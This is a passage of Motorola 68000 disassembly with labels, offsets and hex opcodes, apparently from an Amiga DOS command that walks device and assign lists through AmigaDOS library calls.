  554.     CMPA.L    A2,A3            ;0598: B7CA
  555.     BEQ.S    LAB_0035        ;059A: 670C
  556.     MOVE.L    A2,D0            ;059C: 200A
  557.     MOVE.L    A3,D1            ;059E: 220B
  558.     SUB.L    D0,D1            ;05A0: 9280
  559.     MOVEQ    #30,D0            ;05A2: 701E
  560.     CMP.L    D0,D1            ;05A4: B280
  561.     BLS.S    LAB_0036        ;05A6: 6312
  562. LAB_0035:
  563.     LEA    LAB_00B8(PC),A0        ;05A8: 41FA0C14
  564.     MOVEQ    #20,D5            ;05AC: 7A14
  565.     MOVEA.L    48(A7),A3        ;05AE: 266F0030
  566.     MOVE.L    A0,-36(A5)        ;05B2: 2B48FFDC
  567.     BRA    LAB_007A        ;05B6: 6000060E
  568. LAB_0036:
  569.     CLR.B    (A3)            ;05BA: 4213
  570. LAB_0037:
  571.     MOVEA.L    -80(A5),A0        ;05BC: 206DFFB0
  572.     MOVE.L    A0,-88(A5)        ;05C0: 2B48FFA8
  573.     BEQ.S    LAB_0038        ;05C4: 6704
  574.     MOVEA.L    (A0),A0            ;05C6: 2050
  575.     BRA.S    LAB_0039        ;05C8: 6002
  576. LAB_0038:
  577.     SUBA.L    A0,A0            ;05CA: 91C8
  578. LAB_0039:
  579.     MOVEA.L    A0,A2            ;05CC: 2448
  580.     MOVE.L    -72(A5),D0        ;05CE: 202DFFB8
  581.     BEQ.S    LAB_003A        ;05D2: 6708
  582.     MOVEQ    #0,D1            ;05D4: 7200
  583.     MOVE.L    D1,-76(A5)        ;05D6: 2B41FFB4
  584.     BRA.S    LAB_003E        ;05DA: 6038
  585. LAB_003A:
  586.     TST.L    -48(A5)            ;05DC: 4AADFFD0
  587.     BNE.S    LAB_003B        ;05E0: 660C
  588.     TST.L    -44(A5)            ;05E2: 4AADFFD4
  589.     BNE.S    LAB_003B        ;05E6: 6606
  590.     TST.L    -40(A5)            ;05E8: 4AADFFD8
  591.     BEQ.S    LAB_003C        ;05EC: 6708
  592. LAB_003B:
  593.     MOVEQ    #-1,D1            ;05EE: 72FF
  594.     MOVE.L    D1,-76(A5)        ;05F0: 2B41FFB4
  595.     BRA.S    LAB_003E        ;05F4: 601E
  596. LAB_003C:
  597.     TST.L    -76(A5)            ;05F6: 4AADFFB4
  598.     BNE.S    LAB_003D        ;05FA: 6606
  599.     MOVE.L    40(A7),D1        ;05FC: 222F0028
  600.     BNE.S    LAB_003E        ;0600: 6612
  601. LAB_003D:
  602.     MOVEQ    #-1,D1            ;0602: 72FF
  603.     MOVE.L    D1,-40(A5)        ;0604: 2B41FFD8
  604.     MOVE.L    D1,-44(A5)        ;0608: 2B41FFD4
  605.     MOVE.L    D1,-48(A5)        ;060C: 2B41FFD0
  606.     MOVE.L    D1,-76(A5)        ;0610: 2B41FFB4
  607. LAB_003E:
  608.     MOVE.L    A2,D1            ;0614: 220A
  609.     BNE.S    LAB_0040        ;0616: 662A
  610.     TST.L    -64(A5)            ;0618: 4AADFFC0
  611.     BNE.S    LAB_003F        ;061C: 6612
  612.     TST.L    -60(A5)            ;061E: 4AADFFC4
  613.     BNE.S    LAB_003F        ;0622: 660C
  614.     TST.L    -56(A5)            ;0624: 4AADFFC8
  615.     BNE.S    LAB_003F        ;0628: 6606
  616.     TST.L    -52(A5)            ;062A: 4AADFFCC
  617.     BEQ.S    LAB_0040        ;062E: 6712
  618. LAB_003F:
  619.     MOVEQ    #0,D1            ;0630: 7200
  620.     MOVE.L    D1,-52(A5)        ;0632: 2B41FFCC
  621.     MOVE.L    D1,-56(A5)        ;0636: 2B41FFC8
  622.     MOVE.L    D1,-60(A5)        ;063A: 2B41FFC4
  623.     MOVE.L    D1,-64(A5)        ;063E: 2B41FFC0
  624. LAB_0040:
  625.     TST.L    -52(A5)            ;0642: 4AADFFCC
  626.     SNE    D1            ;0646: 56C1
  627.     NEG.B    D1            ;0648: 4401
  628.     EXT    D1            ;064A: 4881
  629.     EXT.L    D1            ;064C: 48C1
  630.     TST.L    -60(A5)            ;064E: 4AADFFC4
  631.     SNE    D2            ;0652: 56C2
  632.     NEG.B    D2            ;0654: 4402
  633.     EXT    D2            ;0656: 4882
  634.     EXT.L    D2            ;0658: 48C2
  635.     TST.L    -64(A5)            ;065A: 4AADFFC0
  636.     SNE    D3            ;065E: 56C3
  637.     NEG.B    D3            ;0660: 4403
  638.     EXT    D3            ;0662: 4883
  639.     EXT.L    D3            ;0664: 48C3
  640.     TST.L    -56(A5)            ;0666: 4AADFFC8
  641.     SNE    D0            ;066A: 56C0
  642.     NEG.B    D0            ;066C: 4400
  643.     EXT    D0            ;066E: 4880
  644.     EXT.L    D0            ;0670: 48C0
  645.     ADD.L    D3,D0            ;0672: D083
  646.     ADD.L    D2,D0            ;0674: D082
  647.     ADD.L    D1,D0            ;0676: D081
  648.     MOVEQ    #1,D1            ;0678: 7201
  649.     CMP.L    D1,D0            ;067A: B081
  650.     BLE.S    LAB_0041        ;067C: 6F12
  651.     LEA    LAB_00BA(PC),A0        ;067E: 41FA0B56
  652.     MOVEQ    #20,D5            ;0682: 7A14
  653.     MOVEA.L    48(A7),A3        ;0684: 266F0030
  654.     MOVE.L    A0,-36(A5)        ;0688: 2B48FFDC
  655.     BRA    LAB_007A        ;068C: 60000538
  656. LAB_0041:
  657.     TST.L    40(A7)            ;0690: 4AAF0028
  658.     BEQ    LAB_0057        ;0694: 6700024E
  659.     TST.L    -72(A5)            ;0698: 4AADFFB8
  660.     BNE    LAB_0057        ;069C: 66000246
  661.     TST.L    -68(A5)            ;06A0: 4AADFFBC
  662.     BNE    LAB_0057        ;06A4: 6600023E
  663. LAB_0042:
  664.     MOVEA.L    48(A7),A3        ;06A8: 266F0030
  665.     MOVE.L    #$00001000,D1        ;06AC: 223C00001000
  666.     MOVEA.L    A3,A6            ;06B2: 2C4B
  667.     JSR    -792(A6)        ;06B4: 4EAEFCE8
  668.     TST.L    D0            ;06B8: 4A80
  669.     BEQ.S    LAB_0043        ;06BA: 6718
  670.     MOVE.L    #$00000130,D1        ;06BC: 223C00000130
  671.     MOVEQ    #0,D2            ;06C2: 7400
  672.     JSR    -474(A6)        ;06C4: 4EAEFE26
  673.     MOVEQ    #20,D5            ;06C8: 7A14
  674.     MOVE.L    #$00000130,D7        ;06CA: 2E3C00000130
  675.     BRA    LAB_007A        ;06D0: 600004F4
  676. LAB_0043:
  677.     MOVEA.L    48(A7),A3        ;06D4: 266F0030
  678.     MOVE.L    -28(A5),D5        ;06D8: 2A2DFFE4
  679.     TST.L    -64(A5)            ;06DC: 4AADFFC0
  680.     BEQ.S    LAB_0047        ;06E0: 675A
  681.     PEA    -1608(A5)        ;06E2: 486DF9B8
  682.     MOVE.L    A2,-(A7)        ;06E6: 2F0A
  683.     MOVE.L    #$000005DC,D0        ;06E8: 203C000005DC
  684.     MOVEA.L    A3,A0            ;06EE: 204B
  685.     MOVEA.L    48(A7),A1        ;06F0: 226F0030
  686.     BSR    LAB_00FD        ;06F4: 61000DD0
  687.     ADDQ    #8,A7            ;06F8: 504F
  688.     MOVE.L    D0,-36(A5)        ;06FA: 2B40FFDC
  689.     BEQ.S    LAB_0046        ;06FE: 6718
  690.     MOVEQ    #20,D5            ;0700: 7A14
  691.     MOVEQ    #-1,D0            ;0702: 70FF
  692.     CMP.L    D0,D7            ;0704: BE80
  693.     BNE.S    LAB_0044        ;0706: 6608
  694.     MOVEA.L    A3,A6            ;0708: 2C4B
  695.     JSR    -132(A6)        ;070A: 4EAEFF7C
  696.     BRA.S    LAB_0045        ;070E: 6002
  697. LAB_0044:
  698.     MOVEQ    #0,D0            ;0710: 7000
  699. LAB_0045:
  700.     MOVE.L    D0,D7            ;0712: 2E00
  701.     BRA    LAB_0056        ;0714: 600001AE
  702. LAB_0046:
  703.     MOVE.L    40(A7),D1        ;0718: 222F0028
  704.     MOVE.L    A2,D2            ;071C: 240A
  705.     MOVEA.L    A3,A6            ;071E: 2C4B
  706.     JSR    -618(A6)        ;0720: 4EAEFD96
  707.     TST    D0            ;0724: 4A40
  708.     BNE    LAB_0056        ;0726: 6600019C
  709.     LEA    LAB_00BD(PC),A1        ;072A: 43FA0AD8
  710.     MOVE.L    A1,-36(A5)        ;072E: 2B49FFDC
  711.     JSR    -132(A6)        ;0732: 4EAEFF7C
  712.     MOVE.L    D0,D7            ;0736: 2E00
  713.     BRA    LAB_0056        ;0738: 6000018A
  714. LAB_0047:
  715.     MOVEQ    #0,D6            ;073C: 7C00
  716.     MOVE.L    A2,D0            ;073E: 200A
  717.     BEQ.S    LAB_0048        ;0740: 672C
  718.     TST.L    -60(A5)            ;0742: 4AADFFC4
  719.     BNE.S    LAB_0048        ;0746: 6626
  720.     MOVE.L    A2,D1            ;0748: 220A
  721.     MOVEQ    #-2,D2            ;074A: 74FE
  722.     MOVEA.L    A3,A6            ;074C: 2C4B
  723.     JSR    -84(A6)            ;074E: 4EAEFFAC
  724.     MOVE.L    D0,D6            ;0752: 2C00
  725.     TST.L    D6            ;0754: 4A86
  726.     BNE.S    LAB_0048        ;0756: 6616
  727.     LEA    LAB_00BE(PC),A0        ;0758: 41FA0ABC
  728.     MOVE.L    A0,-36(A5)        ;075C: 2B48FFDC
  729.     JSR    -132(A6)        ;0760: 4EAEFF7C
  730.     MOVE.L    D0,D7            ;0764: 2E00
  731.     MOVE.L    A2,-84(A5)        ;0766: 2B4AFFAC
  732.     BRA    LAB_007A        ;076A: 6000045A
  733. LAB_0048:
  734.     MOVEA.L    48(A7),A3        ;076E: 266F0030
  735.     MOVE.L    -28(A5),D5        ;0772: 2A2DFFE4
  736.     TST.L    -56(A5)            ;0776: 4AADFFC8
  737.     BNE.S    LAB_0049        ;077A: 6608
  738.     TST.L    -52(A5)            ;077C: 4AADFFCC
  739.     BEQ    LAB_0050        ;0780: 670000BC
  740. LAB_0049:
  741.     MOVEQ    #18,D1            ;0784: 7212
  742.     MOVEA.L    A3,A6            ;0786: 2C4B
  743.     JSR    -654(A6)        ;0788: 4EAEFD72
  744.     MOVE.L    D0,D1            ;078C: 2200
  745.     MOVE.L    40(A7),D2        ;078E: 242F0028
  746.     MOVEQ    #16,D3            ;0792: 7610
  747.     JSR    -684(A6)        ;0794: 4EAEFD54
  748.     MOVE.L    D0,36(A7)        ;0798: 2F400024
  749.     TST.L    D0            ;079C: 4A80
  750.     BEQ.S    LAB_004E        ;079E: 6754
  751.     MOVEQ    #1,D1            ;07A0: 7201
  752.     MOVEA.L    D0,A0            ;07A2: 2040
  753.     CMP.L    4(A0),D1        ;07A4: B2A80004
  754.     BNE.S    LAB_004B        ;07A8: 6626
  755.     TST.L    -56(A5)            ;07AA: 4AADFFC8
  756.     BEQ.S    LAB_004A        ;07AE: 670C
  757.     MOVE.L    D2,D1            ;07B0: 2202
  758.     MOVE.L    D6,D2            ;07B2: 2406
  759.     JSR    -630(A6)        ;07B4: 4EAEFD8A
  760.     TST    D0            ;07B8: 4A40
  761.     BEQ.S    LAB_004B        ;07BA: 6714
  762. LAB_004A:
  763.     TST.L    -52(A5)            ;07BC: 4AADFFCC
  764.     BEQ.S    LAB_004E        ;07C0: 6732
  765.     MOVE.L    40(A7),D1        ;07C2: 222F0028
  766.     MOVE.L    D6,D2            ;07C6: 2406
  767.     JSR    -636(A6)        ;07C8: 4EAEFD84
  768.     TST.L    D0            ;07CC: 4A80
  769.     BNE.S    LAB_004E        ;07CE: 6624
  770. LAB_004B:
  771.     TST.L    -52(A5)            ;07D0: 4AADFFCC
  772.     BEQ.S    LAB_004C        ;07D4: 6706
  773.     LEA    LAB_00BF(PC),A0        ;07D6: 41FA0A4E
  774.     BRA.S    LAB_004D        ;07DA: 6004
  775. LAB_004C:
  776.     LEA    LAB_00C0(PC),A0        ;07DC: 41FA0A64
  777. LAB_004D:
  778.     MOVE.L    A2,-84(A5)        ;07E0: 2B4AFFAC
  779.     MOVE.L    40(A7),-80(A5)        ;07E4: 2B6F0028FFB0
  780.     MOVE.L    A0,-36(A5)        ;07EA: 2B48FFDC
  781.     JSR    -132(A6)        ;07EE: 4EAEFF7C
  782.     MOVE.L    D0,D7            ;07F2: 2E00
  783. LAB_004E:
  784.     MOVEQ    #18,D1            ;07F4: 7212
  785.     JSR    -660(A6)        ;07F6: 4EAEFD6C
  786.     TST.L    -52(A5)            ;07FA: 4AADFFCC
  787.     BEQ.S    LAB_004F        ;07FE: 6706
  788.     MOVE.L    D6,D1            ;0800: 2206
  789.     JSR    -90(A6)            ;0802: 4EAEFFA6
  790. LAB_004F:
  791.     TST.L    36(A7)            ;0806: 4AAF0024
  792.     BNE    LAB_0056        ;080A: 660000B8
  793.     TST.L    -52(A5)            ;080E: 4AADFFCC
  794.     BNE    LAB_0056        ;0812: 660000B0
  795.     MOVE.L    40(A7),D1        ;0816: 222F0028
  796.     MOVE.L    D6,D2            ;081A: 2406
  797.     JSR    -612(A6)        ;081C: 4EAEFD9C
  798.     TST.L    D0            ;0820: 4A80
  799.     BNE    LAB_0056        ;0822: 660000A0
  800.     LEA    LAB_00BD(PC),A0        ;0826: 41FA09DC
  801.     MOVE.L    A0,-36(A5)        ;082A: 2B48FFDC
  802.     JSR    -132(A6)        ;082E: 4EAEFF7C
  803.     MOVE.L    D0,D7            ;0832: 2E00
  804.     MOVE.L    D2,D1            ;0834: 2202
  805.     JSR    -90(A6)            ;0836: 4EAEFFA6
  806.     BRA    LAB_0056        ;083A: 60000088
  807. LAB_0050:
  808.     TST.L    -60(A5)            ;083E: 4AADFFC4
  809.     BEQ.S    LAB_0054        ;0842: 675C
  810.     MOVE.L    D6,D1            ;0844: 2206
  811.     MOVEA.L    A3,A6            ;0846: 2C4B
  812.     JSR    -90(A6)            ;0848: 4EAEFFA6
  813.     PEA    -1608(A5)        ;084C: 486DF9B8
  814.     MOVE.L    A2,-(A7)        ;0850: 2F0A
  815.     MOVE.L    #$000005DC,D0        ;0852: 203C000005DC
  816.     MOVEA.L    A3,A0            ;0858: 204B
  817.     MOVEA.L    48(A7),A1        ;085A: 226F0030
  818.     BSR    LAB_00FD        ;085E: 61000C66
  819.     ADDQ    #8,A7            ;0862: 504F
  820.     MOVE.L    D0,-36(A5)        ;0864: 2B40FFDC
  821.     BEQ.S    LAB_0053        ;0868: 6716
  822.     MOVEQ    #20,D5            ;086A: 7A14
  823.     MOVEQ    #-1,D0            ;086C: 70FF
  824.     CMP.L    D0,D7            ;086E: BE80
  825.     BNE.S    LAB_0051        ;0870: 6608
  826.     MOVEA.L    A3,A6            ;0872: 2C4B
  827.     JSR    -132(A6)        ;0874: 4EAEFF7C
  828.     BRA.S    LAB_0052        ;0878: 6002
  829. LAB_0051:
  830.     MOVEQ    #0,D0            ;087A: 7000
  831. LAB_0052:
  832.     MOVE.L    D0,D7            ;087C: 2E00
  833.     BRA.S    LAB_0056        ;087E: 6044
  834. LAB_0053:
  835.     MOVE.L    40(A7),D1        ;0880: 222F0028
  836.     MOVE.L    A2,D2            ;0884: 240A
  837.     MOVEA.L    A3,A6            ;0886: 2C4B
  838.     JSR    -624(A6)        ;0888: 4EAEFD90
  839.     TST    D0            ;088C: 4A40
  840.     BNE.S    LAB_0056        ;088E: 6634
  841.     LEA    LAB_00BD(PC),A0        ;0890: 41FA0972
  842.     MOVE.L    A0,-36(A5)        ;0894: 2B48FFDC
  843.     JSR    -132(A6)        ;0898: 4EAEFF7C
  844.     MOVE.L    D0,D7            ;089C: 2E00
  845.     BRA.S    LAB_0056        ;089E: 6024
  846. LAB_0054:
  847.     MOVE.L    40(A7),D1        ;08A0: 222F0028
  848.     MOVE.L    D6,D2            ;08A4: 2406
  849.     MOVEA.L    A3,A6            ;08A6: 2C4B
  850.     JSR    -612(A6)        ;08A8: 4EAEFD9C
  851.     ADDQ.L    #1,D0            ;08AC: 5280
  852.     BEQ.S    LAB_0055        ;08AE: 670E
  853.     LEA    LAB_00C1(PC),A0        ;08B0: 41FA09A4
  854.     MOVE.L    A0,-36(A5)        ;08B4: 2B48FFDC
  855.     JSR    -132(A6)        ;08B8: 4EAEFF7C
  856.     MOVE.L    D0,D7            ;08BC: 2E00
  857. LAB_0055:
  858.     MOVEQ    #-1,D0            ;08BE: 70FF
  859.     MOVE.L    D0,-56(A5)        ;08C0: 2B40FFC8
  860. LAB_0056:
  861.     MOVE.L    D5,-28(A5)        ;08C4: 2B45FFE4
  862.     TST.L    -36(A5)            ;08C8: 4AADFFDC
  863.     BNE    LAB_007A        ;08CC: 660002F8
  864.     MOVE.L    A2,D0            ;08D0: 200A
  865.     BEQ.S    LAB_0057        ;08D2: 6710
  866.     ADDQ.L    #4,-88(A5)        ;08D4: 58ADFFA8
  867.     MOVEA.L    -88(A5),A0        ;08D8: 206DFFA8
  868.     MOVEA.L    (A0),A2            ;08DC: 2450
  869.     MOVE.L    A2,D0            ;08DE: 200A
  870.     BNE    LAB_0042        ;08E0: 6600FDC6
  871. LAB_0057:
  872.     MOVEA.L    48(A7),A3        ;08E4: 266F0030
  873.     TST.L    -68(A5)            ;08E8: 4AADFFBC
  874.     BEQ.S    LAB_0059        ;08EC: 672C
  875.     MOVEA.L    40(A7),A2        ;08EE: 246F0028
  876.     MOVE.L    A2,D0            ;08F2: 200A
  877.     BEQ.S    LAB_0059        ;08F4: 6724
  878.     MOVEQ    #30,D1            ;08F6: 721E
  879.     MOVEA.L    A3,A6            ;08F8: 2C4B
  880.     JSR    -654(A6)        ;08FA: 4EAEFD72
  881.     MOVE.L    D0,D1            ;08FE: 2200
  882.     MOVE.L    A2,D2            ;0900: 240A
  883.     MOVEQ    #28,D3            ;0902: 761C
  884.     JSR    -684(A6)        ;0904: 4EAEFD54
  885.     MOVEA.L    D0,A2            ;0908: 2440
  886.     MOVE.L    A2,D0            ;090A: 200A
  887.     BEQ.S    LAB_0058        ;090C: 6706
  888.     MOVE.L    A2,D1            ;090E: 220A
  889.     JSR    -672(A6)        ;0910: 4EAEFD60
  890. LAB_0058:
  891.     MOVEQ    #30,D1            ;0914: 721E
  892.     JSR    -660(A6)        ;0916: 4EAEFD6C
  893. LAB_0059:
  894.     TST.L    -76(A5)            ;091A: 4AADFFB4
  895.     BNE.S    LAB_005A        ;091E: 660C
  896.     MOVE.L    -28(A5),D5        ;0920: 2A2DFFE4
  897.     TST.L    -72(A5)            ;0924: 4AADFFB8
  898.     BEQ    LAB_007A        ;0928: 6700029C
  899. LAB_005A:
  900.     MOVEQ    #0,D5            ;092C: 7A00
  901.     MOVEQ    #0,D4            ;092E: 7800
  902.     CLR.L    -32(A5)            ;0930: 42ADFFE0
  903.     LEA    -48(A5),A2        ;0934: 45EDFFD0
  904.     BRA    LAB_0078        ;0938: 60000252
  905. LAB_005B:
  906.     TST.L    D5            ;093C: 4A85
  907.     BNE.S    LAB_005C        ;093E: 6608
  908.     LEA    LAB_00C3(PC),A3        ;0940: 47FA0926
  909.     MOVEQ    #8,D6            ;0944: 7C08
  910.     BRA.S    LAB_005E        ;0946: 6014
  911. LAB_005C:
  912.     MOVEQ    #1,D0            ;0948: 7001
  913.     CMP.L    D0,D5            ;094A: BA80
  914.     BNE.S    LAB_005D        ;094C: 6608
  915.     LEA    LAB_00C6(PC),A3        ;094E: 47FA0922
  916.     MOVEQ    #16,D6            ;0952: 7C10
  917.     BRA.S    LAB_005E        ;0954: 6006
  918. LAB_005D:
  919.     LEA    LAB_00C8(PC),A3        ;0956: 47FA092A
  920.     MOVEQ    #4,D6            ;095A: 7C04
  921. LAB_005E:
  922.     TST.L    -76(A5)            ;095C: 4AADFFB4
  923.     BEQ.S    LAB_005F        ;0960: 6710
  924.     TST.L    (A2)            ;0962: 4A92
  925.     BEQ    LAB_0077        ;0964: 6700021E
  926.     MOVE.L    A3,D1            ;0968: 220B
  927.     MOVEA.L    48(A7),A6        ;096A: 2C6F0030
  928.     JSR    -948(A6)        ;096E: 4EAEFC4C
  929. LAB_005F:
  930.     LEA    -104(A5),A0        ;0972: 41EDFF98
  931.     MOVE.L    A0,-108(A5)        ;0976: 2B48FF94
  932.     MOVE.L    D6,D0            ;097A: 2006
  933.     ORI    #$0001,D0        ;097C: 00400001
  934.     MOVEA.L    48(A7),A3        ;0980: 266F0030
  935.     MOVE.L    D0,36(A7)        ;0984: 2F400024
  936.     MOVE.L    D0,D1            ;0988: 2200
  937.     MOVEA.L    A3,A6            ;098A: 2C4B
  938.     JSR    -654(A6)        ;098C: 4EAEFD72
  939.     MOVEA.L    D0,A2            ;0990: 2440
  940.     MOVE.L    A2,D0            ;0992: 200A
  941.     BNE    LAB_0075        ;0994: 660001B0
  942.     LEA    LAB_00BD(PC),A1        ;0998: 43FA086A
  943.     MOVE.L    A1,-36(A5)        ;099C: 2B49FFDC
  944.     JSR    -132(A6)        ;09A0: 4EAEFF7C
  945.     MOVE.L    D0,D7            ;09A4: 2E00
  946.     MOVE.L    -28(A5),D5        ;09A6: 2A2DFFE4
  947.     BRA    LAB_007A        ;09AA: 6000021A
  948. LAB_0060:
  949.     TST.L    -72(A5)            ;09AE: 4AADFFB8
  950.     BEQ.S    LAB_0061        ;09B2: 671C
  951.     MOVE.L    A2,D1            ;09B4: 220A
  952.     MOVE.L    40(A7),D2        ;09B6: 242F0028
  953.     MOVE.L    D6,D3            ;09BA: 2606
  954.     MOVEA.L    A3,A6            ;09BC: 2C4B
  955.     JSR    -684(A6)        ;09BE: 4EAEFD54
  956.     MOVEA.L    D0,A2            ;09C2: 2440
  957.     MOVE.L    A2,D0            ;09C4: 200A
  958.     BEQ    LAB_0076        ;09C6: 67000194
  959.     MOVEQ    #1,D0            ;09CA: 7001
  960.     MOVE.L    D0,-32(A5)        ;09CC: 2B40FFE0
  961. LAB_0061:
  962.     MOVE.L    40(A2),D0        ;09D0: 202A0028
  963.     ASL.L    #2,D0            ;09D4: E580
  964.     MOVEA.L    D0,A0            ;09D6: 2040
  965.     MOVE.B    (A0),D7            ;09D8: 1E10
  966.     EXT    D7            ;09DA: 4887
  967.     EXT.L    D7            ;09DC: 48C7
  968.     LEA    1(A0),A1        ;09DE: 43E80001
  969.     MOVEA.L    A1,A0            ;09E2: 2049
  970.     MOVE.L    D7,D0            ;09E4: 2007
  971.     LEA    -108(A5),A1        ;09E6: 43EDFF94
  972.     BSR    LAB_00EA        ;09EA: 610009C6
  973.     MOVE.L    D5,D0            ;09EE: 2005
  974.     TST.L    D0            ;09F0: 4A80
  975.     BEQ.S    LAB_0062        ;09F2: 670E
  976.     SUBQ.L    #1,D0            ;09F4: 5380
  977.     BEQ.S    LAB_0068        ;09F6: 6744
  978.     SUBQ.L    #1,D0            ;09F8: 5380
  979.     BEQ    LAB_0072        ;09FA: 6700011C
  980.     BRA    LAB_0075        ;09FE: 60000146
  981. LAB_0062:
  982.     MOVE.L    8(A2),D0        ;0A02: 202A0008
  983.     BEQ.S    LAB_0063        ;0A06: 6706
  984.     LEA    LAB_00CA(PC),A0        ;0A08: 41FA0884
  985.     BRA.S    LAB_0064        ;0A0C: 6004
  986. LAB_0063:
  987.     LEA    LAB_00CB(PC),A0        ;0A0E: 41FA088A
  988. LAB_0064:
  989.     MOVEA.L    A0,A3            ;0A12: 2648
  990.     TST.L    D0            ;0A14: 4A80
  991.     BEQ.S    LAB_0065        ;0A16: 6706
  992.     LEA    LAB_00CA(PC),A0        ;0A18: 41FA0874
  993.     BRA.S    LAB_0066        ;0A1C: 6004
  994. LAB_0065:
  995.     LEA    LAB_00CB(PC),A0        ;0A1E: 41FA087A
  996. LAB_0066:
  997.     MOVEA.L    A0,A1            ;0A22: 2248
  998. LAB_0067:
  999.     TST.B    (A1)+            ;0A24: 4A19
  1000.     BNE.S    LAB_0067        ;0A26: 66FC
  1001.     SUBQ.L    #1,A1            ;0A28: 5389
  1002.     SUBA.L    A0,A1            ;0A2A: 93C8
  1003.     MOVE.L    A1,D0            ;0A2C: 2009
  1004.     MOVEA.L    A3,A0            ;0A2E: 204B
  1005.     LEA    -108(A5),A1        ;0A30: 43EDFF94
  1006.     BSR    LAB_00EA        ;0A34: 6100097C
  1007.     BRA    LAB_0075        ;0A38: 6000010C
  1008. LAB_0068:
  1009.     MOVEA.L    16(A2),A3        ;0A3C: 266A0010
  1010.     MOVEQ    #15,D0            ;0A40: 700F
  1011.     CMP.L    D0,D7            ;0A42: BE80
  1012.     BGE.S    LAB_0069        ;0A44: 6C04
  1013.     SUB.L    D7,D0            ;0A46: 9087
  1014.     BRA.S    LAB_006A        ;0A48: 6002
  1015. LAB_0069:
  1016.     MOVEQ    #1,D0            ;0A4A: 7001
  1017. LAB_006A:
  1018.     LEA    LAB_00CC(PC),A0        ;0A4C: 41FA084E
  1019.     LEA    -108(A5),A1        ;0A50: 43EDFF94
  1020.     BSR    LAB_00EA        ;0A54: 6100095C
  1021.     MOVE.L    4(A2),D0        ;0A58: 202A0004
  1022.     SUBQ.L    #1,D0            ;0A5C: 5380
  1023.     BEQ.S    LAB_006B        ;0A5E: 670C
  1024.     SUBQ.L    #2,D0            ;0A60: 5580
  1025.     BEQ.S    LAB_006E        ;0A62: 674C
  1026.     SUBQ.L    #1,D0            ;0A64: 5380
  1027.     BEQ.S    LAB_0070        ;0A66: 677C
  1028.     BRA    LAB_0075        ;0A68: 600000DC
  1029. LAB_006B:
  1030.     MOVE.L    12(A2),D0        ;0A6C: 202A000C
  1031.     MOVEA.L    48(A7),A0        ;0A70: 206F0030
  1032.     LEA    -108(A5),A1        ;0A74: 43EDFF94
  1033.     BSR    LAB_00DB        ;0A78: 6100088E
  1034.     MOVEA.L    20(A2),A3        ;0A7C: 266A0014
  1035.     MOVE.L    A3,D0            ;0A80: 200B
  1036.     BEQ    LAB_0075        ;0A82: 670000C2
  1037.     BRA.S    LAB_006D        ;0A86: 6020
  1038. LAB_006C:
  1039.     MOVEQ    #15,D0            ;0A88: 700F
  1040.     LEA    LAB_00CF(PC),A0        ;0A8A: 41FA0820
  1041.     LEA    -108(A5),A1        ;0A8E: 43EDFF94
  1042.     BSR    LAB_00EA        ;0A92: 6100091E
  1043.     MOVE.L    4(A3),D0        ;0A96: 202B0004
  1044.     MOVEA.L    48(A7),A0        ;0A9A: 206F0030
  1045.     LEA    -108(A5),A1        ;0A9E: 43EDFF94
  1046.     BSR    LAB_00DB        ;0AA2: 61000864
  1047.     MOVEA.L    (A3),A3            ;0AA6: 2653
  1048. LAB_006D:
  1049.     MOVE.L    A3,D0            ;0AA8: 200B
  1050.     BNE.S    LAB_006C        ;0AAA: 66DC
  1051.     BRA    LAB_0075        ;0AAC: 60000098
  1052. LAB_006E:
  1053.     MOVEQ    #1,D0            ;0AB0: 7001
  1054.     LEA    LAB_00D1(PC),A0        ;0AB2: 41FA0808
  1055.     LEA    -108(A5),A1        ;0AB6: 43EDFF94
  1056.     BSR    LAB_00EA        ;0ABA: 610008F6
  1057.     MOVEA.L    A3,A0            ;0ABE: 204B
  1058. LAB_006F:
  1059.     TST.B    (A0)+            ;0AC0: 4A18
  1060.     BNE.S    LAB_006F        ;0AC2: 66FC
  1061.     SUBQ.L    #1,A0            ;0AC4: 5388
  1062.     SUBA.L    A3,A0            ;0AC6: 91CB
  1063.     MOVE.L    A0,D0            ;0AC8: 2008
  1064.     MOVEA.L    A3,A0            ;0ACA: 204B
  1065.     LEA    -108(A5),A1        ;0ACC: 43EDFF94
  1066.     BSR    LAB_00EA        ;0AD0: 610008E0
  1067.     MOVEQ    #2,D0            ;0AD4: 7002
  1068.     LEA    LAB_00D2(PC),A0        ;0AD6: 41FA07E6
  1069.     LEA    -108(A5),A1        ;0ADA: 43EDFF94
  1070.     BSR    LAB_00EA        ;0ADE: 610008D2
  1071.     BRA.S    LAB_0075        ;0AE2: 6062
  1072. LAB_0070:
  1073.     MOVEQ    #1,D0            ;0AE4: 7001
  1074.     LEA    LAB_00D3(PC),A0        ;0AE6: 41FA07DA
  1075.     LEA    -108(A5),A1        ;0AEA: 43EDFF94
  1076.     BSR    LAB_00EA        ;0AEE: 610008C2
  1077.     MOVEA.L    A3,A0            ;0AF2: 204B
  1078. LAB_0071:
  1079.     TST.B    (A0)+            ;0AF4: 4A18
  1080.     BNE.S    LAB_0071        ;0AF6: 66FC
  1081.     SUBQ.L    #1,A0            ;0AF8: 5388
  1082.     SUBA.L    A3,A0            ;0AFA: 91CB
  1083.     MOVE.L    A0,D0            ;0AFC: 2008
  1084.     MOVEA.L    A3,A0            ;0AFE: 204B
  1085.     LEA    -108(A5),A1        ;0B00: 43EDFF94
  1086.     BSR    LAB_00EA        ;0B04: 610008AC
  1087.     MOVEQ    #2,D0            ;0B08: 7002
  1088.     LEA    LAB_00D4(PC),A0        ;0B0A: 41FA07B8
  1089.     LEA    -108(A5),A1        ;0B0E: 43EDFF94
  1090.     BSR    LAB_00EA        ;0B12: 6100089E
  1091.     BRA.S    LAB_0075        ;0B16: 602E
  1092. LAB_0072:
  1093.     TST.L    -72(A5)            ;0B18: 4AADFFB8
  1094.     BNE.S    LAB_0073        ;0B1C: 6608
  1095.     ADDQ.L    #1,D4            ;0B1E: 5284
  1096.     MOVEQ    #5,D0            ;0B20: 7005
  1097.     CMP.L    D0,D4            ;0B22: B880
  1098.     BNE.S    LAB_0074        ;0B24: 6612
  1099. LAB_0073:
  1100.     MOVEQ    #0,D4            ;0B26: 7800
  1101.     MOVEQ    #1,D0            ;0B28: 7001
  1102.     LEA    LAB_00CB(PC),A0        ;0B2A: 41FA076E
  1103.     LEA    -108(A5),A1        ;0B2E: 43EDFF94
  1104.     BSR    LAB_00EA        ;0B32: 6100087E
  1105.     BRA.S    LAB_0075        ;0B36: 600E
  1106. LAB_0074:
  1107.     MOVEQ    #1,D0            ;0B38: 7001
  1108.     LEA    LAB_00D5(PC),A0        ;0B3A: 41FA078C
  1109.     LEA    -108(A5),A1        ;0B3E: 43EDFF94
